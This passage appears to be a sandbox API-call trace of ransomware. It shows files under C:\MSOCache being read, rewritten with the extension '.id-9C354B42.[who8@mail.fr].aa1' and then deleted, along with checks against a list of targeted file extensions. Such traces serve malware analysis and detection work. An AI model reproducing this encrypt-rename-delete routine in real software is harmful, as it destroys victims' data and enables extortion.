lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x5b1, lpOverlapped=0x0) returned 1 [0199.351] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0199.352] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.352] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0199.352] SetEndOfFile (hFile=0x1a4) returned 1 [0199.352] CloseHandle (hObject=0x1a4) returned 1 [0199.353] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.353] SetEndOfFile (hFile=0x190) returned 1 [0199.355] CloseHandle (hObject=0x190) returned 1 [0199.355] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0199.355] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.es\\proof.xml")) returned 1 [0199.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.355] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.356] lstrlenW (lpString=".doc") returned 4 [0199.356] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.356] lstrlenW (lpString=".docx") returned 5 [0199.356] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0199.356] lstrlenW (lpString=".pdf") returned 4 [0199.356] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.356] lstrlenW (lpString=".xls") returned 4 [0199.356] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.356] lstrlenW (lpString=".xlsx") returned 5 [0199.356] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0199.356] lstrlenW (lpString=".ppt") returned 4 [0199.356] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.356] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.356] lstrlenW (lpString=".zip") returned 4 [0199.356] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.356] lstrlenW (lpString=".rar") returned 4 [0199.356] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.356] lstrlenW (lpString=".bz2") returned 4 [0199.356] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.357] lstrlenW (lpString=".7z") returned 3 [0199.357] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.357] lstrlenW (lpString=".dbf") returned 4 [0199.357] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.357] lstrlenW (lpString=".1cd") returned 4 [0199.357] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.357] lstrlenW (lpString=".jpg") returned 4 [0199.357] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.357] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.357] lstrlenW (lpString=".doc") returned 4 [0199.357] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0199.357] lstrlenW (lpString=".docx") returned 5 [0199.357] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0199.357] lstrlenW (lpString=".pdf") returned 4 [0199.358] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0199.358] lstrlenW (lpString=".xls") returned 4 [0199.358] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0199.358] lstrlenW (lpString=".xlsx") returned 5 [0199.358] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0199.358] lstrlenW (lpString=".ppt") returned 4 [0199.358] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0199.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.358] lstrlenW (lpString=".zip") returned 4 [0199.358] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0199.358] lstrlenW (lpString=".rar") returned 4 [0199.358] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0199.358] lstrlenW (lpString=".bz2") returned 4 [0199.358] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0199.358] lstrlenW (lpString=".7z") returned 3 [0199.358] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0199.358] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.359] lstrlenW (lpString=".dbf") returned 4 [0199.359] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0199.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.359] lstrlenW (lpString=".1cd") returned 4 [0199.359] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0199.359] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.es\\Proof.xml") returned 81 [0199.359] lstrlenW (lpString=".jpg") returned 4 [0199.359] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0199.359] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0199.359] lstrlenW (lpString="Setup.xml") returned 9 [0199.359] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0199.359] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=5884) returned 1 [0199.360] CloseHandle (hObject=0x190) returned 1 [0199.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0199.360] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0199.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0199.360] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.360] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.360] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0199.361] GetLastError () returned 0x0 [0199.361] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x16fc, lpOverlapped=0x0) returned 1 [0199.585] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x1700, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x1700, lpOverlapped=0x0) returned 1 [0199.712] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0199.712] WriteFile (in: hFile=0x1a4, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xe6, lpOverlapped=0x0) returned 1 [0199.712] SetEndOfFile (hFile=0x1a4) returned 1 [0199.712] CloseHandle (hObject=0x1a4) returned 1 [0199.713] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0199.713] SetEndOfFile (hFile=0x190) returned 1 [0200.427] CloseHandle (hObject=0x190) returned 1 [0200.427] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.427] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0200.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.428] lstrlenW (lpString=".doc") returned 4 [0200.428] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.428] lstrlenW (lpString=".docx") returned 5 [0200.428] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.428] lstrlenW (lpString=".pdf") returned 4 [0200.428] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.428] lstrlenW (lpString=".xls") returned 4 [0200.428] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.428] lstrlenW (lpString=".xlsx") returned 5 [0200.428] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.428] lstrlenW (lpString=".ppt") returned 4 [0200.428] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.428] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.428] lstrlenW (lpString=".zip") returned 4 [0200.429] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.429] lstrlenW (lpString=".rar") returned 4 [0200.429] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.429] lstrlenW (lpString=".bz2") returned 4 [0200.429] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.429] lstrlenW (lpString=".7z") returned 3 [0200.429] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.429] lstrlenW (lpString=".dbf") returned 4 [0200.429] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.429] lstrlenW (lpString=".1cd") returned 4 [0200.429] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.429] lstrlenW (lpString=".jpg") returned 4 [0200.429] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.429] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.429] lstrlenW (lpString=".doc") returned 4 [0200.429] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.429] lstrlenW (lpString=".docx") returned 5 [0200.430] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0200.430] lstrlenW (lpString=".pdf") returned 4 [0200.430] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.430] lstrlenW (lpString=".xls") returned 4 [0200.430] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.430] lstrlenW (lpString=".xlsx") returned 5 [0200.430] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0200.430] lstrlenW (lpString=".ppt") returned 4 [0200.430] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.430] lstrlenW (lpString=".zip") returned 4 [0200.430] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.430] lstrlenW (lpString=".rar") returned 4 [0200.430] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.430] lstrlenW (lpString=".bz2") returned 4 [0200.430] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.430] lstrlenW (lpString=".7z") returned 3 [0200.430] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.430] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.431] lstrlenW (lpString=".dbf") returned 4 [0200.431] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.431] lstrlenW (lpString=".1cd") returned 4 [0200.431] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.431] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0200.431] lstrlenW (lpString=".jpg") returned 4 [0200.431] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.431] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.431] lstrlenW (lpString="Office32MUI.xml") returned 15 [0200.431] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0200.433] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=1383) returned 1 [0200.433] CloseHandle (hObject=0x190) returned 1 [0200.433] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 0x2020 [0200.433] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.433] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0200.433] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.433] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.433] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0200.434] GetLastError () returned 0x0 [0200.434] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x567, lpOverlapped=0x0) returned 1 [0200.436] WriteFile (in: hFile=0x15c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0x570, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0x570, lpOverlapped=0x0) returned 1 [0200.437] ReadFile (in: hFile=0x190, lpBuffer=0x3a60020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2edfed4, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesRead=0x2edfed4*=0x0, lpOverlapped=0x0) returned 1 [0200.437] WriteFile (in: hFile=0x15c, lpBuffer=0x3a60020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2edfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a60020*, lpNumberOfBytesWritten=0x2edfc9c*=0xf2, lpOverlapped=0x0) returned 1 [0200.437] SetEndOfFile (hFile=0x15c) returned 1 [0200.437] CloseHandle (hObject=0x15c) returned 1 [0200.438] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.438] SetEndOfFile (hFile=0x190) returned 1 [0200.439] CloseHandle (hObject=0x190) returned 1 [0200.439] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml.id-9C354B42.[who8@mail.fr].aa1", dwFileAttributes=0x2020) returned 1 [0200.439] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\office32mui.xml")) returned 1 [0200.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.440] lstrlenW (lpString=".doc") returned 4 [0200.440] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.440] lstrlenW (lpString=".docx") returned 5 [0200.440] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.440] lstrlenW (lpString=".pdf") returned 4 [0200.440] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.440] lstrlenW (lpString=".xls") returned 4 [0200.440] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.440] lstrlenW (lpString=".xlsx") returned 5 [0200.440] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.440] lstrlenW (lpString=".ppt") returned 4 [0200.440] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.440] lstrlenW (lpString=".zip") returned 4 [0200.440] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.440] lstrlenW (lpString=".rar") returned 4 [0200.440] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.440] lstrlenW (lpString=".bz2") returned 4 [0200.440] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.440] lstrlenW (lpString=".7z") returned 3 [0200.440] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.440] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.440] lstrlenW (lpString=".dbf") returned 4 [0200.440] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.441] lstrlenW (lpString=".1cd") returned 4 [0200.441] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.441] lstrlenW (lpString=".jpg") returned 4 [0200.441] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.441] lstrlenW (lpString=".doc") returned 4 [0200.441] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString=".docx") returned 5 [0200.441] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0200.441] lstrlenW (lpString=".pdf") returned 4 [0200.441] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString=".xls") returned 4 [0200.441] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString=".xlsx") returned 5 [0200.441] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0200.441] lstrlenW (lpString=".ppt") returned 4 [0200.441] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.441] lstrlenW (lpString=".zip") returned 4 [0200.441] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0200.441] lstrlenW (lpString=".rar") returned 4 [0200.441] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString=".bz2") returned 4 [0200.441] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0200.441] lstrlenW (lpString=".7z") returned 3 [0200.442] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0200.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.442] lstrlenW (lpString=".dbf") returned 4 [0200.442] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0200.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.442] lstrlenW (lpString=".1cd") returned 4 [0200.442] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0200.442] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Office32MUI.xml") returned 78 [0200.442] lstrlenW (lpString=".jpg") returned 4 [0200.442] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0200.442] lstrcmpiW (lpString1=".xml", lpString2=".aa1") returned 1 [0200.442] lstrlenW (lpString="Setup.xml") returned 9 [0200.442] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0200.442] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2edff1c | out: lpFileSize=0x2edff1c*=2362) returned 1 [0200.442] CloseHandle (hObject=0x190) returned 1 [0200.442] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0200.443] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1")) returned 0xffffffff [0200.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0200.443] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.443] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2edfec8 | out: lpNewFilePointer=0x0) returned 1 [0200.443] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[who8@mail.fr].aa1" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[who8@mail.fr].aa1"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 